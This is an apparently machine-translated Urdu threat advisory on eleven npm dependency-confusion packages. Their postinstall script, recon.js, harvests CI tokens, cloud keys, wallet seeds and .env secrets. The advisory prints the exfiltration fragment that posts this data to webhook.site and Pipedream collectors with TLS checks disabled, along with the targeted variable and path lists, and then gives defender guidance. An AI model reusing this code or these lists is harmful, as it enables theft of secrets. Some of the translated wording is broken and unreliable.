TL؛ ڈاکٹر
2026-06-17 کو، ایک واحد این پی ایم اکاؤنٹ شائع ہوا۔ گیارہ پیکیج جو ایک مقصد اور ایک پے لوڈ کا اشتراک کرتے ہیں۔. ان میں سے دس لے جاتے ہیں۔ cryptodao- سابقہ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); گیارہویں کا دائرہ کار ہے۔ @public-for-cdao/core. ہر ایک ورژن میں شائع ہوا تھا۔ 99.99.99 اور بائٹ ایک جیسی بھیجتا ہے۔ recon.js جو چلتا ہے postinstall.
نام بتانے والے ہیں۔ وہ کسی کرپٹو/DAO پروجیکٹ کے پرائیویٹ ٹول چین کے اندرونی بلڈنگ بلاکس کی طرح پڑھتے ہیں۔ ایک مصنوعی طور پر اعلی ورژن پر عوامی npm رجسٹری میں شائع کیا گیا، وہ ایک تعمیر کے انتظار میں بیٹھے ہیں pipeline جو ان ناموں کو حل کرنے کے لیے ترتیب دیا گیا ہے اور جو نجی رجسٹری سے پہلے — یا اس کے بجائے — عوامی npm تک پہنچ جاتا ہے۔ یہ ہے انحصار الجھن، اور پے لوڈ کو بالکل اسی جگہ پر بنایا گیا ہے جہاں اسے اترنے کی توقع ہے: CI/CD داوک.
جب postinstall آگ، recon.js میزبان کی تفصیلات جمع کرتا ہے، تقریباً جھاڑو دیتا ہے۔ چالیس کلاؤڈ، CI، اور crypto-wallet ماحولیاتی متغیراتکوئی بھی پڑھتا ہے۔ .env فائلوں کو ڈھونڈ سکتا ہے اور خفیہ اثر والی لائنوں کو لفظ بہ لفظ آگے بھیجتا ہے، پھر بنڈل کو دو جمع کرنے والوں کو منتقل کرتا ہے۔ webhook.site اور پائپ ڈریم اینڈ پوائنٹ — TLS سرٹیفکیٹ کی تصدیق کو غیر فعال کرنے کے ساتھ۔ ایک کاپی کے نیچے بھی لکھا ہے۔ /tmp.
شدت: اعلی. متاثرہ ماحولیاتی نظام: npm. تمام گیارہ پیکج لکھنے کے وقت لائیو تھے۔
حملہ اناٹومی
میکانزم کے چار متحرک حصے ہیں، اور ان میں سے کوئی بھی ٹھیک ٹھیک نہیں ہے ایک بار جب آپ جان لیں۔ پیکیج کے نام کے پیچھے ایک پرت دیکھیں۔
1. ایک حل کرنے والے لالچ کے طور پر ورژن افراط زر۔ ہر پیکیج ورژن کا اعلان کرتا ہے۔ 99.99.99. انحصار کنفیوژن اس وقت کام کرتا ہے جب ایک پیکیج مینیجر نے ایک کے لیے کہا اندرونی نام، عوامی رجسٹری کو بھی چیک کرتا ہے اور اس کا اعلی ترین ورژن چنتا ہے۔ ڈھونڈتا ہے کیریٹ یا وائلڈ کارڈ رینج کے لیے npm کا ڈیفالٹ انتخاب ہے۔ ہر ترتیب شدہ ذریعہ میں سب سے زیادہ اطمینان بخش ورژن؛ اگر دونوں نجی ایک ہی نام کے لیے رجسٹری اور پبلک این پی ایم جواب، بڑا ورژن نمبر جیت جاتا ہے۔ A 99.99.99 بنیادی طور پر کسی بھی حقیقی اندرونی ورژن کو آگے بڑھاتا ہے جو کسی پروجیکٹ کے پاس ہوگا۔ تک پہنچ گیا، لہذا ایک حل کرنے والا جو نجی ذریعہ پر پن نہیں ہے کو ترجیح دیتا ہے۔ عوامی - اور اس معاملے میں، دشمنی - کاپی۔ آپریٹر کو جاننے کی ضرورت نہیں ہے۔ ہدف کے حقیقی ورژن نمبرز؛ ایک مضحکہ خیز زیادہ سے زیادہ چننا ہمیشہ ٹائی کی ضمانت دیتا ہے۔ ان کا راستہ توڑتا ہے.
2. ایک پوسٹ انسٹال ٹرگر۔ package.json پے لوڈ کو انسٹال کرنے کے لیے تار کرتا ہے۔ دورانیہ حیات:
{ "scripts": { "postinstall": "node recon.js" } } پیکیج کی درآمد کی ضرورت نہیں ہے۔ صرف اسے انسٹال کرنا - جو ایک CI ہے۔ pipeline خود بخود کرتا ہے - چلتا ہے۔ recon.js.
3. ایک وسیع خفیہ جھاڑو۔ recon.js مراحل میں نتائج کی صف کو جمع کرتا ہے:
- میزبان سیاق و سباق: میزبان نام، پلیٹ فارم اور ریلیز، فن تعمیر، صارف نام، کام کرنا ڈائریکٹری.
- ماحولیاتی متغیرات: یہ تقریباً چالیس ناموں اور ریکارڈوں کی ایک مقررہ فہرست کو دہراتا ہے۔ کوئی بھی جو سیٹ ہیں. فہرست انکشاف کر رہی ہے - یہ عام CI ٹوکن جوڑتی ہے۔ (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) اور بادل اسناد (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) رجسٹری اور کنٹینر کے راز کے ساتھ (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) اور ایک واضح طور پر کرپٹو ذائقہ والا کلسٹر: PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC. ریکارڈ شدہ اقدار کو پہلے 50 حروف تک چھوٹا کر دیا جاتا ہے۔
- .env فائلیں: یہ راستوں کی فہرست کی تحقیقات کرتا ہے۔ .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, اور پیداوار/.ترقی متغیرات - اور موجود کسی بھی فائل کے لیے، یہ مواد کو مماثل لائنوں پر فلٹر کرتا ہے۔ کلید|خفیہ|ٹوکن|پاس|پرائیویٹ اور ان لائنوں کو **مکمل، غیر منقطع** نتائج میں دھکیلتا ہے۔
- تعمیر میزبان سیاق و سباق: اس میں کی پہلی 20 اندراجات کی فہرست ہے۔ /بنتا ہے/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/، اور /tmp/.
پاتھ لسٹ اور ویری ایبل لسٹ کا وزن گٹ لیب رنرز کی طرف ہوتا ہے، جو اشارہ کرتا ہے۔ ایک ڈویلپر کے بجائے خود میزبان CI انفراسٹرکچر پر مکمل طور پر پے لوڈ لیپ ٹاپ کٹائی کی فہرست کو زمرہ کے لحاظ سے گروپ کرنا مطلوبہ حد کو سادہ بنا دیتا ہے:
| قسم | متغیرات / راستے پہنچ گئے۔ |
|---|---|
| CI/CD شناخت اور تعیناتی | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| بادل | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| رجسٹری اور کنٹینر | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ڈیٹا اسٹورز | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| کرپٹو/بلاکچین | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| پیغام رسانی | SLACK_TOKEN, DISCORD_TOKEN |
| آن ڈسک | .env خاندان + /home/gitlab-runner/.env, /root/.env, /app/**/.env; کی ڈائریکٹری لسٹنگ /builds/, /var/lib/gitlab-runner/ |
کرپٹو کلسٹر وہ حصہ ہے جو اسے عام سی آئی سیکریٹ سے ممتاز کرتا ہے۔ جھاڑو: بٹوے کے بیج کے جملے اور دستخط کی چابیاں صرف a کے ماحول میں ظاہر ہوتی ہیں۔ بلاکچین پروجیکٹ، اور وہ براہ راست اس پر نقشہ بناتے ہیں۔ cryptodao-/سائن ان کریں/معاہدے کیریئرز کے نام
4. تصدیق کے ساتھ دوہری افزائش کو غیر فعال کر دیا گیا ہے۔ جمع کردہ صف ہے سیریلائزڈ اور دو منزلوں پر پوسٹ کیا گیا:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized : جھوٹا ۔ آؤٹ باؤنڈ کے لیے TLS سرٹیفکیٹ چیک کو بند کر دیتا ہے۔ کالز اسی ڈیٹا کو stdout پر پرنٹ کیا جاتا ہے (لہذا یہ CI جاب لاگز میں بھی آتا ہے) اور کو لکھا گیا۔ /tmp/.npm_recon_ .json. غلطیاں خاموشی سے نگل جاتی ہیں، اس لیے a ناکام بھیجنے سے انسٹال آؤٹ پٹ میں ایک سے زیادہ کوئی نشان نہیں رہتا ہے۔ [دوبارہ] پر نصب لائن.
فائل میں ایک اہم تبصرہ اسے "انحصار کنفیوژن" کے طور پر بیان کرتا ہے۔ Reconnaissance Payload۔" ماحولیاتی اقدار کو 50 حروف تک چھوٹا کرنا ہے۔ تصور کے ثبوت کی شکل۔ جو چیز اسے صرف موجودگی والے بیکن سے آگے لے جاتی ہے۔ .env ہینڈلنگ: سیکرٹ بیئرنگ لائنیں مکمل طور پر آگے بھیجی جاتی ہیں، اور منزلیں ایک سنک کے بجائے دو کام کرنے والے، حملہ آور کے زیر کنٹرول جمع کرنے والے ہیں جو صرف شمار ہوتے ہیں۔ ہٹ
ٹائم لائن
پبلش پیٹرن ایک ہی اسکرپٹڈ پش کا دستخط ہے، گیارہ نہیں۔ آزاد اپ لوڈز۔
| وقت (UTC, 2026-06-17) | واقعہ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 شائع |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 - دائرہ کار والا مختلف، ~24 منٹ بعد |
29 سیکنڈ کی ونڈو کے اندر دس پیکجز نکل گئے، تقریباً ہر تین سیکنڈ میں ایک۔ دائرہ کار @public-for-cdao/core تقریباً 24 منٹ بعد - ایک سیکنڈ اسی ہدف کے لیے نام دینے کا کنونشن، اس صورت میں کہ استعمال کرنے والے پروجیکٹ کا حوالہ دیا جائے۔ اندرونی ٹول چین ننگے ناموں کے بجائے دائرہ کار کے تحت۔
سمجھوتہ کے اشارے
| قسم | اشارے |
|---|---|
| کلیکٹر | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| کلیکٹر | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| ہک انسٹال کریں۔ | postinstall: node recon.js |
| فائل گرائی | /tmp/.npm_recon_<timestamp>.json |
| لاگ مارکر | [recon] <pkg>@<ver> installed on <hostname> (سی آئی لاگز میں stdout) |
| طرز عمل | rejectUnauthorized: false انسٹال کے دوران آؤٹ باؤنڈ HTTPS پر |
| پیلوڈ | recon.jsتمام گیارہ پیکجوں میں یکساں (ایک مشترکہ تعمیر) |
| ورژن | 99.99.99 ہر پیکج پر |
| پیکجوں کے | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (سب 99.99.99) |
| پبلیشر | aduljune / aduljune@proton.me (ای میل غیر تصدیق شدہ، کوئی منسلک ماخذ ذخیرہ نہیں) |
انتساب اور مشاہدہ سلوک
کلسٹر کے بارے میں سب کچھ ایک ہاتھ کی طرف اشارہ کرتا ہے۔ تمام گیارہ پیکجز شائع ہو چکے ہیں۔ این پی ایم اکاؤنٹ کے ذریعے aduljune (aduljune@proton.me, ایک غیر تصدیق شدہ پتہ جس میں نمبر ہے۔ لنکڈ سورس ریپوزٹری)، 25 منٹ کے وقفے کے اندر، اسی طرح 99.99.99 ورژن ، شپنگ a recon.js جس کے مواد بائٹ فی بائٹ ہر ایک میں یکساں ہیں۔ پیکج (ایم ڈی 5 تمام گیارہ نکالی گئی کاپیوں سے مماثل ہے)۔ یہ ایک پے لوڈ ہے۔ ناموں کی فہرست پر مہر لگائی گئی ہے، آزاد کوڈ کا دوبارہ استعمال نہیں۔
نام کی فہرست مطلوبہ ہدف کی وضاحت کرتی ہے۔ cryptodao-* اور cdao کی وضاحت کریں ایک کرپٹو/DAO پروجیکٹ کا نجی ماڈیول لے آؤٹ، اور پے لوڈ کی فصل کی فہرست آئینے جو اندازہ لگاتے ہیں: عام سی آئی اور کلاؤڈ راز کے ساتھ، یہ خاص طور پر تک پہنچ جاتا ہے PRIVATE_KEY, MNEMONIC, SEED_PHRASE، اور Ethereum/BSC RPC اور فراہم کنندہ کی چابیاں دی .env تلاش کے راستے اور ڈائریکٹری کی فہرستیں GitLab-runner ہیں۔ مخصوص قابل مشاہدہ اثر یہ ہے کہ کوئی بھی pipeline ان کو انسٹال کرنے میں دھوکہ دیا نام اس کے CI ٹوکن، کلاؤڈ کیز، اور آن ڈسک کو آگے بھیجیں گے۔ .env راز - اور، کے لیے ایک بلاکچین پروجیکٹ، اس کے بٹوے کا مواد — دو فریق ثالث جمع کرنے والوں کے لیے۔
ہم اس بارے میں کوئی دعویٰ نہیں کرتے کہ اکاؤنٹ کون چلاتا ہے یا انہوں نے اس کے ساتھ کیا کرنے کا منصوبہ بنایا ہے۔ ڈیٹا حقائق جو اپنے طور پر کھڑے ہیں: نام ایک خاص قسم کو نشانہ بناتے ہیں۔ اندرونی ٹول چین، پے لوڈ حقیقی خفیہ اقدار کو پڑھتا اور منتقل کرتا ہے، اور بنیادی ڈھانچہ زندہ تھا۔
اثر، رجحانات، اور محافظ رہنمائی
انحصار کی الجھن مؤثر رہتا ہے کیونکہ یہ حل کرنے والے رویے کا استحصال کرتا ہے، a نہیں کسی بھی پیکیج میں کمزوری۔ یہاں کیریئر معمولی ہے - گیارہ قریب خالی پیکیجز - لیکن دھماکے کا رداس کچھ بھی ہے۔ pipeline غلطی سے عوامی این پی ایم کو ترجیح دیتا ہے۔ اندرونی نام کے لیے۔ CI رنرز اس کے لیے سب سے بری جگہ ہیں: وہ رکھتے ہیں۔ بالکل ٹوکن اور .env فائلوں کو یہ پے لوڈ پڑھتا ہے، اور وہ انسٹال کرتا ہے۔ انحصار غیر باہمی طور پر، لہذا a پوسٹ انسٹال کوئی نہیں دیکھتا چلاتا ہے۔
یہ کلسٹر اس پیٹرن کو بھی فٹ کرتا ہے جسے ہم دیکھتے رہتے ہیں: انسٹال ٹائم پے لوڈز جو موجود ہیں۔ اصلی اسناد جمع کرتے وقت "تحقیق" یا "ٹوہی" کے طور پر۔ لیبل فائل میں یہ تبدیل نہیں ہوتا ہے کہ کوڈ رنر پر کیا کرتا ہے۔ دو ڈیزائن کے انتخاب رکھیں سرگرمی خاموش: ہر نیٹ ورک اور فائل سسٹم آپریشن کو ایک میں لپیٹا جاتا ہے۔ استثنیٰ ہینڈلر جو غلطیوں کو مسترد کرتا ہے، لہذا ایک مسدود بھیجی گئی یا گمشدہ فائل کوئی تشخیصی آؤٹ پٹ پیدا نہیں کرتا ہے، اور صرف ایک ہی چیز جو چھپی ہوئی ہے وہ ایک ہی بے ضرر ہے۔ [recon] … انسٹال ہو گیا۔ لائن جو عام انسٹال چیٹر میں گھل مل جاتی ہے۔ کا استعمال webhook.site اور پائپڈریم بھی جان بوجھ کر سہولت ہے - دونوں مفت ہیں، فوری طور پر فراہم کردہ درخواست کیپچر خدمات، لہذا آپریٹر کو کسی سرور کی ضرورت نہیں ہے۔ ان کی اپنی اور منزلیں ایگریس لاگز میں عام SaaS میزبان ناموں کی طرح نظر آتی ہیں۔
معاشیات وہی ہیں جو اسے محافظ کی توجہ کے قابل بناتے ہیں حالانکہ کیریئر کوڈ معمولی ہے. گیارہ ناموں کے اندراج میں کوئی قیمت نہیں ہے، پے لوڈ ایک ہے۔ فائل گیارہ بار کاپی کی گئی، اور پیکیج مینیجر تمام عمل درآمد کرتا ہے۔ ایک سنگل غلط کنفیگر pipeline کہیں بھی جو ان ناموں میں سے کسی ایک کو استعمال کرتا ہے وہ پوری قیمت ادا کرتا ہے۔ آپریشن
محافظوں کے لیے ٹھوس اقدامات:
- اندرونی دائرہ کار کو اپنی نجی رجسٹری میں پن کریں۔ این پی ایم کو ترتیب دیں تاکہ اندرونی نام
اور اسکوپس صرف آپ کی رجسٹری کے خلاف حل کرتے ہیں (اسکوپڈ .npmrc رجسٹری میپنگ، یا ایک پراکسی جو کبھی بھی ملکیتی نام کی جگہوں کے لیے عوامی این پی ایم کے ذریعے نہیں آتی ہے)۔ اپنے عوامی دائرہ کار کے نام محفوظ کریں تاکہ کوئی اور ان کا اندراج نہ کر سکے۔
- Commit lockfiles اور -ignore-scripts کے ساتھ انسٹال کریں۔ CI میں جہاں ممکن ہو، یا انحصار کے چھوٹے سیٹ کی جانچ کریں جن کو حقیقی طور پر انسٹال اسکرپٹ کی ضرورت ہے۔ recon.js نہیں چل سکتا اگر پوسٹ انسٹال پھانسی نہیں دی جاتی ہے.
- اندرونی نظر آنے والے نام کے 99.99.99 (یا دیگر مضحکہ خیز اعلی) ورژن کا علاج کریں ایک سرخ پرچم کے طور پر انحصار کا جائزہ لینے اور رجسٹری کی نگرانی میں۔
- انسٹال ٹائم ایگریس پر الرٹ۔ A پوسٹ انسٹال جو ایک آؤٹ باؤنڈ HTTPS کھولتا ہے۔ کنکشن — خاص طور پر سرٹیفکیٹ کی تصدیق کے غیر فعال ہونے کے ساتھ — سے webhook.site، Pipedream، یا اسی طرح کی درخواست کیپچر سروسز نیٹ ورک کے کنارے پر بلاک کرنے اور بلڈ لاگز میں جھنڈا لگانے کے قابل ہیں۔
- نوادرات کی تلاش کریں۔ رنرز کو چیک کریں۔ /tmp/.npm_recon__*.json اور کے لئے [recon] … حالیہ CI لاگز میں … مارکر پر انسٹال ہے۔ اگر مل جائے تو ہر ایک کو گھمائیں۔ اس کے سامنے اسناد pipeline — CI ٹوکنز، کلاؤڈ کیز، رجسٹری ٹوکنز، اور کوئی بھی والیٹ سیڈز یا نجی چابیاں جو ماحول یا .env فائلوں میں موجود ہوں۔
حوالہ جات
تحریر کے وقت اس کلسٹر پر کوئی بیرونی رپورٹنگ موجود نہیں تھی۔ تجزیہ اوپر براہ راست شائع شدہ پیکیج کے مواد پر مبنی ہے۔




